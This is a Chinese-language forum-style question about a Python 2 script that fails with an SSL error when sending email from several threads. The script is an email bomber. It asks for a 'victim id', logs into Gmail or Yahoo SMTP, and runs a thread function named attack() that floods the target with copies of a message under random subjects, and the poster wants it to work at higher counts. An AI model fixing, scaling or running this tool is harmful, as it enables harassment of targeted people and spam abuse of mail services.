当我执行多线程发送电子邮件时,我收到此错误
“SMTPServerDisconnected:连接意外关闭:[Errno 1] _ssl.c:1415:错误:1408F10B:SSL例程:SSL3_GET_RECORD:错误的版本号”
如果我一次发送1条消息但是当我增加总计数(超过1)时不起作用,它可以工作..这是我的代码
import os
import os
import smtplib
import getpass
import sys
from threading import *
os.system('cls' if os.name == 'nt' else 'clear')
def attack():
global user
global body
global to
global msg
global status
subject = os.urandom(9)
msg = 'From: ' + user + '\nSubject: ' + subject + '\n' + body
server.sendmail(user,to,msg)
status += 1
print "\rTotal emails sent: " + str(status)
server = raw_input ('Enter the server Name: ')
user = raw_input('Enter your emailid: ')
passwd = getpass.getpass('Password: ')
to = raw_input('\nVictim id: ')
body = raw_input('Message: ')
total = input('Number of send: ')
status = 0
if server == 'gmail':
smtp_server = 'smtp.gmail.com'
port = 587
elif server == 'yahoo':
smtp_server = 'smtp.mail.yahoo.com'
port = 25
else:
print 'Applies only to gmail and yahoo.'
sys.exit()
try:
server = smtplib.SMTP(smtp_server,port)
server.ehlo()
if smtp_server == "smtp.gmail.com":
server.starttls()
server.login(user,passwd)
print "[+] Login Success."
except:
print "login error"
for i in range(int(total)):
t = Thread(target=attack)
t.start()